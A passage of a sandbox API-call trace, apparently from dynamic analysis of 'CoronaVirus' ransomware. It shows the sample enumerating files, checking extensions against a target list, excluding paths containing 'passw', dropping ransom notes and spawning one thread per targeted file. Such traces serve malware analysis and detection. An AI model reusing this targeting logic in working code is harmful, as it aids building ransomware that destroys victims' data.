	[0081.410] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0081.410] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.410] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0081.410] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.410] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0081.410] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.410] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0081.410] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.410] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0081.410] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.410] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0081.410] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.410] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0081.410] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.410] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0081.410] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.410] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0081.410] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.410] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0081.410] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.410] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0081.410] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.410] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0081.410] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.410] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0081.411] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.411] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0081.412] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.412] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0081.412] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.412] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0081.412] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.412] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.412] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.412] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0081.412] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0081.412] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0081.412] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1
	[0081.412] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0081.412] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0081.412] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1042") returned 26
	[0081.412] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0081.412] wcsstr (_Str="C:\\588bce7c90097ed212\\1042", _SubStr="Microsoft\\Windows") returned 0x0
	[0081.412] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1042\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0081.610] _alloca_probe () returned 0x4036d0
	[0081.610] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1042", lpFilePart=0x316583c*="1042") returned 0x1a
	[0081.610] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea0072f6, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6009d0
	[0081.610] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.610] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea0072f6, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.610] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.610] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea0072f6, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea0072f6, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0081.610] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0081.610] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0081.610] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.610] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0081.610] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.610] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0081.610] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.610] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0081.610] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.610] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0081.610] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.610] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0081.610] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.610] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0081.610] malloc (_Size=0x1000) returned 0x2f1a2b8
	[0081.611] _swprintf (in: param_1=0x2f1a2b8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1042\\CoronaVirus.txt") returned 42
	[0081.611] wcsstr (_Str="C:\\588bce7c90097ed212\\1042\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0081.611] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0081.611] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0081.611] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.611] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0081.611] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0081.612] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.612] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0081.613] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.613] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0081.613] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.613] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0081.613] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.613] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0081.613] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.613] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0081.613] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.613] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0081.613] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.613] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0081.613] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.613] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0081.613] malloc (_Size=0x1000) returned 0x2f1f2e0
	[0081.613] _swprintf (in: param_1=0x2f1f2e0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0081.613] wcsstr (_Str="C:\\588bce7c90097ed212\\1042\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0081.613] wcsstr (_Str="C:\\588bce7c90097ed212\\1042\\eula.rtf", _SubStr="wasse") returned 0x0
	[0081.613] wcsstr (_Str="C:\\588bce7c90097ed212\\1042\\eula.rtf", _SubStr="passw") returned 0x0
	[0081.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f1f2e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c
	[0081.613] SetThreadPriority (hThread=0x45c, nPriority=15) returned 1
	[0081.615] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0081.615] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0081.615] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0081.615] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.615] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0081.615] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.620] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0081.620] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.620] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0081.620] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.620] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0081.620] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.620] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0081.622] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.622] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0081.622] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.622] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0081.622] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.622] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0081.622] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.622] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0081.622] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.622] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0081.622] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.622] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0081.622] malloc (_Size=0x1000) returned 0x2f202e8
	[0081.627] _swprintf (in: param_1=0x2f202e8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0081.627] wcsstr (_Str="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0081.627] wcsstr (_Str="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0081.627] wcsstr (_Str="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0081.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f202e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c
	[0081.628] SetThreadPriority (hThread=0x47c, nPriority=15) returned 1
	[0081.630] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0081.630] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0081.630] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0081.630] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.630] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.630] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.630] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0081.630] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.630] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0081.630] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.630] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0081.630] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.630] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0081.630] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.630] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0081.630] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.630] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0081.646] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.646] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0081.646] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.646] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0081.646] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.646] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0081.646] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.646] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0081.646] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.646] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0081.646] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.646] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0081.646] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.646] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0081.646] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.646] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0081.646] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.646] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0081.646] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.646] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0081.646] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.646] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0081.646] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.646] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.647] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0081.647] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
